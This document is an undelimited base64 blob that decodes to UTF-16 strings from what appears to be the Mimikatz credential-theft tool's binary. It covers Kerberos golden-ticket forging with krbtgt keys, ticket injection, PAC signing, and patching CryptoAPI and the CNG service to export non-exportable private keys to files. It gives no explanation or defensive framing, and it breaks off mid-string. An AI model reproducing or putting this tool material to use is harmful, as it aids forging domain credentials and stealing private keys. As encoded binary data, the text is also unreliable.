AbABlACAAdABvACAAbABvAGMAYQB0AGUAIABDAHIAeQBwAHQAbwBTAHkAcwB0AGUAbQAgAGYAbwByACAARQBUAFkAUABFACAAJQB1ACAAKABlAHIAcgBvAHIAIAAwAHgAJQAwADgAeAApACAALQAgAEEARQBTACAAbwBuAGwAeQAgAGEAdgBhAGkAbABhAGIAbABlACAAbwBuACAATgBUADYACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGcAbwBsAGQAZQBuACAAOwAgAE0AaQBzAHMAaQBuAGcAIABrAHIAYgB0AGcAdAAgAGsAZQB5ACAAYQByAGcAdQBtAGUAbgB0ACAAKAAvAHIAYwA0ACAAbwByACAALwBhAGUAcwAxADIAOAAgAG8AcgAgAC8AYQBlAHMAMgA1ADYAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBnAG8AbABkAGUAbgAgADsAIABTAEkARAAgAHMAZQBlAG0AcwAgAGkAbgB2AGEAbABpAGQAIAAtACAAQwBvAG4AdgBlAHIAdABTAHQAcgBpAG4AZwBTAGkAZABUAG8AUwBpAGQAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBnAG8AbABkAGUAbgAgADsAIABNAGkAcwBzAGkAbgBnACAAUwBJAEQAIABhAHIAZwB1AG0AZQBuAHQACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AZwBvAGwAZABlAG4AIAA7ACAARABvAG0AYQBpAG4AIABuAGEAbQBlACAAZABvAGUAcwAgAG4AbwB0ACAAbABvAG8AawAgAGwAaQBrAGUAIABhACAARgBRAEQATgAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AZwBvAGwAZABlAG4AIAA7ACAATQBpAHMAcwBpAG4AZwAgAGQAbwBtAGEAaQBuACAAYQByAGcAdQBtAGUAbgB0AAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGcAbwBsAGQAZQBuACAAOwAgAE0AaQBzAHMAaQBuAGcAIAB1AHMAZQByACAAYQByAGcAdQBtAGUAbgB0AAoAAAAgACoAIABQAEEAQwAgAGcAZQBuAGUAcgBhAHQAZQBkAAoAAAAgACoAIABQAEEAQwAgAHMAaQBnAG4AZQBkAAoAAAAAACAAKgAgAEUAbgBjAFQAaQBjAGsAZQB0AFAAYQByAHQAIABnAGUAbgBlAHIAYQB0AGUAZAAKAAAAIAAqACAARQBuAGMAVABpAGMAawBlAHQAUABhAHIAdAAgAGUAbgBjAHIAeQBwAHQAZQBkAAoAAAAgACoAIABLAHIAYgBDAHIAZQBkACAAZwBlAG4AZQByAGEAdABlAGQACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGcAbwBsAGQAZQBuAF8AZABhAHQAYQAgADsAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGUAbgBjAHIAeQBwAHQAIAAlADAAOAB4AAoAAAAJACoAIAAlAHMAIAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AaABhAHMAaABfAGQAYQB0AGEAIAA7ACAASABhAHMAaABQAGEAcwBzAHcAbwByAGQAIAA6ACAAJQAwADgAeAAKAAAAAABjAG8AdQBuAHQAAABYAC0AQwBBAEMASABFAEMATwBOAEYAOgAAAAAACgBQAHIAaQBuAGMAaQBwAGEAbAAgADoAIAAAAAoACgBEAGEAdABhACAAJQB1AAAACgAJACAAIAAgACoAIABJAG4AagBlAGMAdABpAG4AZwAgAHQAaQBjAGsAZQB0ACAAOgAgAAAAAAAKAAkAIAAgACAAKgAgAFMAYQB2AGUAZAAgAHQAbwAgAGYAaQBsAGUAIAAlAHMAIAAhAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAYgBlAHIAbwBzAF8AYwBjAGEAYwBoAGUAXwBlAG4AdQBtACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAHcAcgBpAHQAZQBEAGEAdABhACAAKAAwAHgAJQAwADgAeAApAAoAAAAKAAkAKgAgACUAdwBaACAAZQBuAHQAcgB5AD8AIAAqAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBjAGMAYQBjAGgAZQBfAGUAbgB1AG0AIAA7ACAAYwBjAGEAYwBoAGUAIAB2AGUAcgBzAGkAbwBuACAAIQA9ACAAMAB4ADAANQAwADQACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAGIAZQByAG8AcwBfAGMAYwBhAGMAaABlAF8AZQBuAHUAbQAgADsAIABrAHUAbABsAF8AbQBfAGYAaQBsAGUAXwByAGUAYQBkAEQAYQB0AGEAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBiAGUAcgBvAHMAXwBjAGMAYQBjAGgAZQBfAGUAbgB1AG0AIAA7ACAAQQB0ACAAbABlAGEAcwB0ACAAbwBuAGUAIABmAGkAbABlAG4AYQBtAGUAIABpAHMAIABuAGUAZQBkAGUAZAAKAAAAAAAlAHUALQAlADAAOAB4AC4AJQBzAAAAAAAKAAkAIAAgACAAUwB0AGEAcgB0AC8ARQBuAGQALwBNAGEAeABSAGUAbgBlAHcAOgAgAAAACgAJACAAIAAgAFMAZQByAHYAaQBjAGUAIABOAGEAbQBlACAAAAAAAAoACQAgACAAIABUAGEAcgBnAGUAdAAgAE4AYQBtAGUAIAAgAAAAAAAKAAkAIAAgACAAQwBsAGkAZQBuAHQAIABOAGEAbQBlACAAIAAAAAAAIAAoACAAJQB3AFoAIAApAAAAAAAKAAkAIAAgACAARgBsAGEAZwBzACAAJQAwADgAeAAgACAAIAAgADoAIAAAAAoACQAgACAAIABTAGUAcwBzAGkAbwBuACAASwBlAHkAIAAgACAAIAAgACAAIAA6ACAAMAB4ACUAMAA4AHgAIAAtACAAJQBzAAAAAAAKAAkAIAAgACAAIAAgAAAAAAAAAAoACQAgACAAIABUAGkAYwBrAGUAdAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAMAB4ACUAMAA4AHgAIAAtACAAJQBzACAAOwAgAGsAdgBuAG8AIAA9ACAAJQB1AAAAAAAJAFsALgAuAC4AXQAAAAAAbgBhAG0AZQBfAGMAYQBuAG8AbgBpAGMAYQBsAGkAegBlAAAAbwBrAF8AYQBzAF8AZABlAGwAZQBnAGEAdABlAAAAAABoAHcAXwBhAHUAdABoAGUAbgB0AAAAAABwAHIAZQBfAGEAdQB0AGgAZQBuAHQAAABpAG4AaQB0AGkAYQBsAAAAcgBlAG4AZQB3AGEAYgBsAGUAAABpAG4AdgBhAGwAaQBkAAAAcABvAHMAdABkAGEAdABlAGQAAABtAGEAeQBfAHAAbwBzAHQAZABhAHQAZQAAAAAAcAByAG8AeAB5AAAAcAByAG8AeABpAGEAYgBsAGUAAABmAG8AcgB3AGEAcgBkAGUAZAAAAGYAbwByAHcAYQByAGQAYQBiAGwAZQAAACgAJQAwADIAaAB1ACkAIAA6ACAAAAAAACUAdwBaACAAOwAgAAAAAAAoAC0ALQApACAAOgAgAAAAQAAgACUAdwBaAAAAbgB1AGwAbAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAAAAZABlAHMAXwBwAGwAYQBpAG4AIAAgACAAIAAgACAAIAAgAAAAZABlAHMAXwBjAGIAYwBfAGMAcgBjACAAIAAgACAAIAAgAAAAZABlAHMAXwBjAGIAYwBfAG0AZAA0ACAAIAAgACAAIAAgAAAAZABlAHMAXwBjAGIAYwBfAG0AZAA1ACAAIAAgACAAIAAgAAAAZABlAHMAXwBjAGIAYwBfAG0AZAA1AF8AbgB0ACAAIAAgAAAAcgBjADQAXwBwAGwAYQBpAG4AIAAgACAAIAAgACAAIAAgAAAAcgBjADQAXwBwAGwAYQBpAG4AMgAgACAAIAAgACAAIAAgAAAAcgBjADQAXwBwAGwAYQBpAG4AXwBlAHgAcAAgACAAIAAgAAAAcgBjADQAXwBsAG0AIAAgACAAIAAgACAAIAAgACAAIAAgAAAAcgBjADQAXwBtAGQANAAgACAAIAAgACAAIAAgACAAIAAgAAAAcgBjADQAXwBzAGgAYQAgACAAIAAgACAAIAAgACAAIAAgAAAAcgBjADQAXwBoAG0AYQBjAF8AbgB0ACAAIAAgACAAIAAgAAAAcgBjADQAXwBoAG0AYQBjAF8AbgB0AF8AZQB4AHAAIAAgAAAAcgBjADQAXwBwAGwAYQBpAG4AXwBvAGwAZAAgACAAIAAgAAAAcgBjADQAXwBwAGwAYQBpAG4AXwBvAGwAZABfAGUAeABwAAAAcgBjADQAXwBoAG0AYQBjAF8AbwBsAGQAIAAgACAAIAAgAAAAcgBjADQAXwBoAG0AYQBjAF8AbwBsAGQAXwBlAHgAcAAgAAAAYQBlAHMAMQAyADgAXwBoAG0AYQBjAF8AcABsAGEAaQBuAAAAYQBlAHMAMgA1ADYAXwBoAG0AYQBjAF8AcABsAGEAaQBuAAAAYQBlAHMAMQAyADgAXwBoAG0AYQBjACAAIAAgACAAIAAgAAAAYQBlAHMAMgA1ADYAXwBoAG0AYQBjACAAIAAgACAAIAAgAAAAdQBuAGsAbgBvAHcAIAAgACAAIAAgACAAIAAgACAAIAAgAAAAcwB0AGEAdAB1AHMAAAAAAHMAaQBuAGcAbABlAAAAAABvAGYAZgAAAHQAZQBzAHQAAAAAAGIAdQBzAHkAbABpAGcAaAB0AAAAQgB1AHMAeQBMAGkAZwBoAHQAIABNAG8AZAB1AGwAZQAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYgB1AHMAeQBsAGkAZwBoAHQAXwBvAGYAZgAgADsAIABOAG8AIABCAHUAcwB5AEwAaQBnAGgAdAAKAAAAAABJAE4AUABVAFQARQBWAEUATgBUAAAAAABMAEkARwBIAFQAAABTAE8AVQBOAEQAAABKAEkATgBHAEwARQBfAEMATABJAFAAUwAAAAAAQgB1AHMAeQBMAGkAZwBoAHQAIABkAGUAdABlAGMAdABlAGQACgAAAAAAAAAKAFsAJQAzAHUAXQAgACUAcwAKACAAIABWAGUAbgBkAG8AcgA6ACAAMAB4ACUAMAA0AHgALAAgAFAAcgBvAGQAdQBjAHQAOgAgADAAeAAlADAANAB4ACwAIABWAGUAcgBzAGkAbwBuADoAIAAwAHgAJQAwADQAeAAKACAAIABEAGUAcwBjAHIAaQBwAHQAaQBvAG4AIAAgACAAOgAgACUAcwAKACAAIABDAGEAcABhAGIAaQBsAGkAdABpAGUAcwAgACAAOgAgADAAeAAlADAAMgB4ACAAKAAgAAAAJQBzACwAIAAAAAAAIAAgAEQAZQB2AGkAYwBlACAASABhAG4AZABsAGUAOgAgADAAeAAlAHAACgAAAAAAIAAgACAAIABTAHQAYQB0AHUAcwAgACAAIAAgACAAOgAgADAAeAAlADAAMgB4AAoAAAAAACAAIAAgACAAUAByAG8AZAB1AGMAdABJAGQAIAAgADoAIAAlAFMACgAAAAAAIAAgACAAIABDAG8AcwB0AHUAbQBlAHIASQBkACAAOgAgACUAUwAKAAAAAAAgACAAIAAgAE0AbwBkAGUAbAAgACAAIAAgACAAIAA6ACAAJQBTAAoAAAAAACAAIAAgACAAUwBlAHIAaQBhAGwAIAAgACAAIAAgADoAIAAlAFMACgAAAAAAIAAgACAAIABNAGYAZwBfAEkARAAgACAAIAAgACAAOgAgACUAUwAKAAAAAAAgACAAIAAgAE0AZgBnAF8ARABhAHQAZQAgACAAIAA6ACAAJQBTAAoAAAAAACAAIAAgACAAcwB3AHIAZQBsAGUAYQBzAGUAIAAgADoAIAAlAFMACgAAAAAAIAAgAEsAZQBlAHAAQQBsAGkAdgBlACAAVABoAHIAZQBhAGQAOgAgADAAeAAlAHAAIAAoACUAdQAgAG0AcwApAAoAIAAgAFcAbwByAGsAZQByACAAVABoAHIAZQBhAGQAIAAgACAAOgAgADAAeAAlAHAAIAAoACUAdQAgAG0AcwApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYgB1AHMAeQBsAGkAZwBoAHQAXwBzAHQAYQB0AHUAcwAgADsAIABOAG8AIABCAHUAcwB5AEwAaQBnAGgAdAAKAAAAWwAlADMAdQBdACAAJQBzACAAKAAgAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYgB1AHMAeQBsAGkAZwBoAHQAXwBsAGkAcwB0ACAAOwAgAE4AbwAgAEIAdQBzAHkATABpAGcAaAB0AAoAAABzAG8AdQBuAGQAAABjAG8AbABvAHIAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGIAdQBzAHkAbABpAGcAaAB0AF8AcwBpAG4AZwBsAGUAIAA7ACAATgBvACAAQgB1AHMAeQBMAGkAZwBoAHQACgAAAHAAcgBvAHYAaQBkAGUAcgBzAAAATABpAHMAdAAgAGMAcgB5AHAAdABvAGcAcgBhAHAAaABpAGMAIABwAHIAbwB2AGkAZABlAHIAcwAAAAAAcwB0AG8AcgBlAHMAAAAAAEwAaQBzAHQAIABjAHIAeQBwAHQAbwBnAHIAYQBwAGgAaQBjACAAcwB0AG8AcgBlAHMAAABjAGUAcgB0AGkAZgBpAGMAYQB0AGUAcwAAAAAATABpAHMAdAAgACgAbwByACAAZQB4AHAAbwByAHQAKQAgAGMAZQByAHQAaQBmAGkAYwBhAHQAZQBzAAAAawBlAHkAcwAAAAAAAAAAAEwAaQBzAHQAIAAoAG8AcgAgAGUAeABwAG8AcgB0ACkAIABrAGUAeQBzACAAYwBvAG4AdABhAGkAbgBlAHIAcwAAAAAAAAAAAEgAYQBzAGgAIABhACAAcABhAHMAcwB3AG8AcgBkACAAdwBpAHQAaAAgAG8AcAB0AGkAbwBuAGEAbAAgAHUAcwBlAHIAbgBhAG0AZQAAAAAARABlAHMAYwByAGkAYgBlACAAYQAgAFcAaQBuAGQAbwB3AHMAIABTAHkAcwB0AGUAbQAgAEMAZQByAHQAaQBmAGkAYwBhAHQAZQAgACgAZgBpAGwAZQAsACAAVABPAEQATwA6AHIAZQBnAGkAcwB0AHIAeQAgAG8AcgAgAGgAaQB2AGUAKQAAAFsAZQB4AHAAZQByAGkAbQBlAG4AdABhAGwAXQAgAFAAYQB0AGMAaAAgAEMAcgB5AHAAdABvAEEAUABJACAAbABhAHkAZQByACAAZgBvAHIAIABlAGEAcwB5ACAAZQB4AHAAbwByAHQAAAAAAAAAAABbAGUAeABwAGUAcgBpAG0AZQBuAHQAYQBsAF0AIABQAGEAdABjAGgAIABDAE4ARwAgAHMAZQByAHYAaQBjAGUAIABmAG8AcgAgAGUAYQBzAHkAIABlAHgAcABvAHIAdAAAAAAAYwByAHkAcAB0AG8AAAAAAEMAcgB5AHAAdABvACAATQBvAGQAdQBsAGUAAAByAHMAYQBlAG4AaAAAAAAAQ1BFeHBvcnRLZXkAbgBjAHIAeQBwAHQAAAAAAE5DcnlwdE9wZW5TdG9yYWdlUHJvdmlkZXIAAABOQ3J5cHRFbnVtS2V5cwAATkNyeXB0T3BlbktleQAAAE5DcnlwdEltcG9ydEtleQBOQ3J5cHRFeHBvcnRLZXkATkNyeXB0R2V0UHJvcGVydHkAAABOQ3J5cHRTZXRQcm9wZXJ0eQAAAE5DcnlwdEZyZWVCdWZmZXIAAAAATkNyeXB0RnJlZU9iamVjdAAAAABCQ3J5cHRFbnVtUmVnaXN0ZXJlZFByb3ZpZGVycwAAAEJDcnlwdEZyZWVCdWZmZXIAAAAACgBDAHIAeQBwAHQAbwBBAFAASQAgAHAAcgBvAHYAaQBkAGUAcgBzACAAOgAKAAAAJQAyAHUALgAgACUALQAxADMAcwAgACgAJQAyAHUAKQAgAC0AIAAlAHMACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AcAByAG8AdgBpAGQAZQByAHMAIAA7ACAAQwByAHkAcAB0AEUAbgB1AG0AUAByAG8AdgBpAGQAZQByAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAACgBDAHIAeQBwAHQAbwBBAFAASQAgAHAAcgBvAHYAaQBkAGUAcgAgAHQAeQBwAGUAcwA6AAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAHAAcgBvAHYAaQBkAGUAcgBzACAAOwAgAEMAcgB5AHAAdABFAG4AdQBtAFAAcgBvAHYAaQBkAGUAcgBUAHkAcABlAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAACgBDAE4ARwAgAHAAcgBvAHYAaQBkAGUAcgBzACAAOgAKAAAAJQAyAHUALgAgACUAcwAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAHAAcgBvAHYAaQBkAGUAcgBzACAAOwAgAEIAQwByAHkAcAB0AEUAbgB1AG0AUgBlAGcAaQBzAHQAZQByAGUAZABQAHIAbwB2AGkAZABlAHIAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAQwBVAFIAUgBFAE4AVABfAFUAUwBFAFIAAAAAAHMAeQBzAHQAZQBtAHMAdABvAHIAZQAAAEEAcwBrAGkAbgBnACAAZgBvAHIAIABTAHkAcwB0AGUAbQAgAFMAdABvAHIAZQAgACcAJQBzACcAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBzAHQAbwByAGUAcwAgADsAIABDAGUAcgB0AEUAbgB1AG0AUwB5AHMAdABlAG0AUwB0AG8AcgBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAHMAaQBsAGUAbgB0AAAAAABuAG8AawBlAHkAAABNAHkAAAAAAHMAdABvAHIAZQAAAAAAAAAgACoAIABTAHkAcwB0AGUAbQAgAFMAdABvAHIAZQAgACAAOgAgACcAJQBzACcAIAAoADAAeAAlADAAOAB4ACkACgAgACoAIABTAHQAbwByAGUAIAAgACAAIAAgACAAIAAgACAAOgAgACcAJQBzACcACgAKAAAAAAAoAG4AdQBsAGwAKQAAAAAACQBLAGUAeQAgAEMAbwBuAHQAYQBpAG4AZQByACAAIAA6ACAAJQBzAAoACQBQAHIAbwB2AGkAZABlAHIAIAAgACAAIAAgACAAIAA6ACAAJQBzAAoACQBQAHIAbwB2AGkAZABlAHIAIAB0AHkAcABlACAAIAA6ACAAJQBzACAAKAAlAHUAKQAKAAAAAAAJAFQAeQBwAGUAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAlAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AYwBlAHIAdABpAGYAaQBjAGEAdABlAHMAIAA7ACAAQwByAHkAcAB0AEcAZQB0AFUAcwBlAHIASwBlAHkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBjAGUAcgB0AGkAZgBpAGMAYQB0AGUAcwAgADsAIABrAGUAeQBTAHAAZQBjACAAPQA9ACAAQwBFAFIAVABfAE4AQwBSAFkAUABUAF8ASwBFAFkAXwBTAFAARQBDACAAdwBpAHQAaABvAHUAdAAgAEMATgBHACAASABhAG4AZABsAGUAIAA/AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AYwBlAHIAdABpAGYAaQBjAGEAdABlAHMAIAA7ACAAQwByAHkAcAB0AEEAYwBxAHUAaQByAGUAQwBlAHIAdABpAGYAaQBjAGEAdABlAFAAcgBpAHYAYQB0AGUASwBlAHkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AYwBlAHIAdABpAGYAaQBjAGEAdABlAHMAIAA7ACAAQwBlAHIAdABHAGUAdABDAGUAcgB0AGkAZgBpAGMAYQB0AGUAQwBvAG4AdABlAHgAdABQAHIAbwBwAGUAcgB0AHkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AYwBlAHIAdABpAGYAaQBjAGEAdABlAHMAIAA7ACAAQwBlAHIAdABHAGUAdABOAGEAbQBlAFMAdAByAGkAbgBnACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAGMAZQByAHQAaQBmAGkAYwBhAHQAZQBzACAAOwAgAEMAZQByAHQARwBlAHQATgBhAG0AZQBTAHQAcgBpAG4AZwAgACgAZgBvAHIAIABsAGUAbgApACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AYwBlAHIAdABpAGYAaQBjAGEAdABlAHMAIAA7ACAAQwBlAHIAdABPAHAAZQBuAFMAdABvAHIAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABwAHIAbwB2AGkAZABlAHIAAAAAAHAAcgBvAHYAaQBkAGUAcgB0AHkAcABlAAAAAAAAAAAATQBpAGMAcgBvAHMAbwBmAHQAIABTAG8AZgB0AHcAYQByAGUAIABLAGUAeQAgAFMAdABvAHIAYQBnAGUAIABQAHIAbwB2AGkAZABlAHIAAABjAG4AZwBwAHIAbwB2AGkAZABlAHIAAAAgACoAIABTAHQAbwByAGUAIAAgACAAIAAgACAAIAAgACAAOgAgACcAJQBzACcACgAgACoAIABQAHIAbwB2AGkAZABlAHIAIAAgACAAIAAgACAAOgAgACcAJQBzACcAIAAoACcAJQBzACcAKQAKACAAKgAgAFAAcgBvAHYAaQBkAGUAcgAgAHQAeQBwAGUAIAA6ACAAJwAlAHMAJwAgACgAJQB1ACkACgAgACoAIABDAE4ARwAgAFAAcgBvAHYAaQBkAGUAcgAgACAAOgAgACcAJQBzACcACgAAAAAACgBDAHIAeQBwAHQAbwBBAFAASQAgAGsAZQB5AHMAIAA6AAoAAAAAAAoAJQAyAHUALgAgACUAcwAKAAAAIAAgACAAIAAlAFMACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AawBlAHkAcwAgADsAIABDAHIAeQBwAHQARwBlAHQAVQBzAGUAcgBLAGUAeQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAGsAZQB5AHMAIAA7ACAAQwByAHkAcAB0AEcAZQB0AFAAcgBvAHYAUABhAHIAYQBtACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAoAQwBOAEcAIABrAGUAeQBzACAAOgAKAAAAAABVAG4AaQBxAHUAZQAgAE4AYQBtAGUAAAAgACAAIAAgACUAcwAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBrAGUAeQBzACAAOwAgAE4AQwByAHkAcAB0AE8AcABlAG4ASwBlAHkAIAAlADAAOAB4AAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAGsAZQB5AHMAIAA7ACAATgBDAHIAeQBwAHQARQBuAHUAbQBLAGUAeQBzACAAJQAwADgAeAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AawBlAHkAcwAgADsAIABOAEMAcgB5AHAAdABPAHAAZQBuAFMAdABvAHIAYQBnAGUAUAByAG8AdgBpAGQAZQByACAAJQAwADgAeAAKAAAAAABFAHgAcABvAHIAdAAgAFAAbwBsAGkAYwB5AAAATABlAG4AZwB0AGgAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBwAHIAaQBuAHQASwBlAHkASQBuAGYAbwBzACAAOwAgAE4AQwByAHkAcAB0AEcAZQB0AFAAcgBvAHAAZQByAHQAeQAgACgAMAB4ACUAMAA4AHgAKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAHAAcgBpAG4AdABLAGUAeQBJAG4AZgBvAHMAIAA7ACAAQwByAHkAcAB0AEcAZQB0AEsAZQB5AFAAYQByAGEAbQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABZAEUAUwAAAE4ATwAAAAAACQBFAHgAcABvAHIAdABhAGIAbABlACAAawBlAHkAIAA6ACAAJQBzAAoACQBLAGUAeQAgAHMAaQB6AGUAIAAgACAAIAAgACAAIAA6ACAAJQB1AAoAAAAAAFIAUwBBAFAAUgBJAFYAQQBUAEUAQgBMAE8AQgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGUAeABwAG8AcgB0AFIAYQB3AEsAZQB5AFQAbwBGAGkAbABlACAAOwAgAE4AQwByAHkAcAB0AFMAZQB0AFAAcgBvAHAAZQByAHQAeQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGUAeABwAG8AcgB0AFIAYQB3AEsAZQB5AFQAbwBGAGkAbABlACAAOwAgAE4AQwByAHkAcAB0AEkAbQBwAG8AcgB0AEsAZQB5AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGUAeABwAG8AcgB0AFIAYQB3AEsAZQB5AFQAbwBGAGkAbABlACAAOwAgAE4AbwAgAEMATgBHACEACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AZQB4AHAAbwByAHQAUgBhAHcASwBlAHkAVABvAEYAaQBsAGUAIAA7ACAAQwByAHkAcAB0AEkAbQBwAG8AcgB0AEsAZQB5ACAAKAAwAHgAJQAwADgAeAApAAoAAABDAEEAUABJAFAAUgBJAFYAQQBUAEUAQgBMAE8AQgAAAE8ASwAAAAAASwBPAAAAAAAJAFAAcgBpAHYAYQB0AGUAIABlAHgAcABvAHIAdAAgADoAIAAlAHMAIAAtACAAAAAnACUAcwAnAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AZQB4AHAAbwByAHQASwBlAHkAVABvAEYAaQBsAGUAIAA7ACAARQB4AHAAbwByAHQAIAAvACAAQwByAGUAYQB0AGUARgBpAGwAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGUAeABwAG8AcgB0AEsAZQB5AFQAbwBGAGkAbABlACAAOwAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBnAGUAbgBlAHIAYQB0AGUARgBpAGwAZQBOAGEAbQBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAGQAZQByAAAACQBQAHUAYgBsAGkAYwAgAGUAeABwAG8AcgB0ACAAIAA6ACAAJQBzACAALQAgAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGUAeABwAG8AcgB0AEMAZQByAHQAIAA7ACAAQwByAGUAYQB0AGUARgBpAGwAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBlAHgAcABvAHIAdABDAGUAcgB0ACAAOwAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBnAGUAbgBlAHIAYQB0AGUARgBpAGwAZQBOAGEAbQBlACAAKAAwAHgAJQAwADgAeAApAAoAAABwAGYAeAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AZQB4AHAAbwByAHQAQwBlAHIAdAAgADsAIABFAHgAcABvAHIAdAAgAC8AIABDAHIAZQBhAHQAZQBGAGkAbABlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBlAHgAcABvAHIAdABQAGYAeAAgADsAIABQAEYAWABFAHgAcABvAHIAdABDAGUAcgB0AFMAdABvAHIAZQBFAHgAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAEQAZQByAEEAbgBkAEsAZQB5AFQAbwBQAGYAeAAgADsAIABDAHIAeQBwAHQASQBtAHAAbwByAHQASwBlAHkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8ARABlAHIAQQBuAGQASwBlAHkAVABvAFAAZgB4ACAAOwAgAFUAbgBhAGIAbABlACAAdABvACAAZABlAGwAZQB0AGUAIAB0AG